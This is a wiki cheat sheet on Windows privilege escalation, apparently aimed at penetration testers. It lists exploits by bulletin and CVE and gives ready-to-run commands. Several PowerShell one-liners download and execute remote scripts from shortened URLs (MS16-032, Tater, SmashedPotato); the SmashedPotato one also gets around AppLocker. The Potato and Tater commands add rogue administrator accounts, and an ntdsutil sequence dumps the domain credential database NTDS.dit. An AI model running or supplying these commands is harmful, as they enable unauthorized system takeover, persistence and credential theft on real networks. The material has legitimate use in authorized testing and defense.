Windows Privilege Escalation

Main page
Recent changes
Random page
Help

Tools
What links here
Related changes
Special pages
Printable version
Permanent link
Page information

Contents [hide]

Automation

windows-privesc-check – Windows Privilege Escalation Scanner

Remote

MS08-067/CVE-2008-4250 2K/XP/2K3 MS08-067 NetAPI bindshell
MS15-134/CVE-2015-6131 Microsoft Windows Media Center Library Parsing RCE Vulnerability aka "self-executing" MCL File
MS16-059/CVE-2016-0185 Microsoft Windows Media Center .MCL File Processing Remote Code Execution (MS16-059)

Local

MS10-015/CVE-2010-0232 Windows NT/2K/XP/2K3/VISTA/2K8/7 **x32 ONLY** - NtVdmControl()->KiTrap0d local ring0 exploit
MS11-046/CVE-2011-1249 - Windows x86 (all versions) Afd.sys Privilege Escalation Exploit.MS11-046 - the SYSTEM shell will

spawn within the invoking shell/process
MS11-060/CVE-2011-1974 - Windows x86 (XP SP3 / 2003 SP2) Vulnerability in Remote Access Service NDISTAPI Driver ::source::
MS11-080/CVE-2011-2005 - XP|2K3 Afd.sys Privilege Escalation Exploit.MS11-080-Add-User - for use in non-interactive meterpreter shell
MS14-002/CVE-2013-5065 - NDProxy - Privilege Escalation XP SP3 x86 and 2003 SP2 x86 python2exe version demo
MS14-058/CVE-2014-4113 Win7 x32 Kernel Win32k.sys Privilege Escalation Exploit info & Win 8/8.1 Python script info
MS14-040/CVE-2014-1767 AFD.sys dangling pointer - Win7 x32 MS14-40-x32.py example info
MS14-058/CVE-2014-4113 Windows 2K3/VISTA/2K8/7/8/2k12 PandaHurricane Kernel-Mode Driver exploit example
MS14-070/CVE-2014-4076 - Windows 2k3 SP2 TCP/IP IOCTL Privilege Escalation
MS15-010/CVE-2015-0057 Tested Win8.1 x64 - win32k Local Privilege Escalation src
MS15-051/CVE-2015-1701 ClientCopyImage Win32k Exploit - exploits improper object handling in the win32k.sys kernel mode driver. x32 Version
MS15-061/CVE-2015-1723 Windows XP/2K3/VISTA/2K8/7 use-after-free vulnerability in the win32k.sys driver.
MS15-076/CVE-2015-2370 - Win7/8.1 Copies a file to any privileged location on disk. More info.
MS16-008/CVE-2015-2553 - Sandboxed Mount Reparse Point Creation Mitigation Bypass Win8.1 Win10
MS16-016/CVE-2015-0051 - Microsoft Windows WebDAV Local Privilege Escalation Vulnerability Win7 x32 info example
MS16-032/CVE-2016-0099 - powershell -ExecutionPolicy Bypass "IEX (New-Object Net.WebClient).DownloadString('https://goo.gl/wrlBsL'); Invoke-ms16-032" - more 1-liners
MS16-135/CVE-2016-7255 Fancy Bear POC - Requirements: Intel Processor (Haswell or newer) & Windows 10 x64. more info
Newer Powershell POC which works on 7/8/8.1/10 HERE
KB4018556/CVE-2017-0213 COM Aggregate Marshaler/IRemUnknown2 Type Confusion EoP, due to how the COM Marshaller processes interface requests. Should work x32/x64 version of 7,8,10,2k8,2k12,2k16

Admin to System

EasySystem - System (Power)Shell using NamedPipe impersonation More info

Hot Potato

Potato - For Win7/8/2008/10/2012 as unprivileged user, run following command to add your user into Administrators group (Win10/2012 needs to wait a day before it checks WPAD)

```
USAGE: Potato.exe -ip 127.0.0.1 -cmd "net localgroup Administrators Test /add" -disable_exhaust
true
```

Smashed Potato

SmashedPotato - Mod to Hot Potato that bypasses Applocker and creates new user and courtesy shell requires .NET 4.x - made a pimp one-liner for easier pwnage

```
 powershell -ExecutionPolicy Bypass -noLogo -Command (new-object
System.Net.WebClient).DownloadFile('http://is.gd/y6cfKV','%temp%\SmashedPotato.cs'); && cd
c:\Windows\Microsoft.NET\Framework64\v4.* && csc.exe  /out:"%temp%\SmashedPotatoX64.exe"
/platform:x64 "%temp%\SmashedPotato.cs" && InstallUtil.exe /logfile= /LogToConsole=false
/U %temp%\SmashedPotatoX64.exe
```

Tater

https://github.com/Kevin-Robertson/Tater Powershell implementation of Hot Potato that gets loaded into memory. (for Win10 change -Trigger 2)

```
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/fVC1Yd'); Invoke-Tater
-Trigger 1 -Command ""net user tater Winter2016 /add && net localgroup administrators tater
/add"""
```

Obtaining NTDS.Dit on Server2k8 and later

With admin privs:

```
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
```

Decode it offline with ntds_decode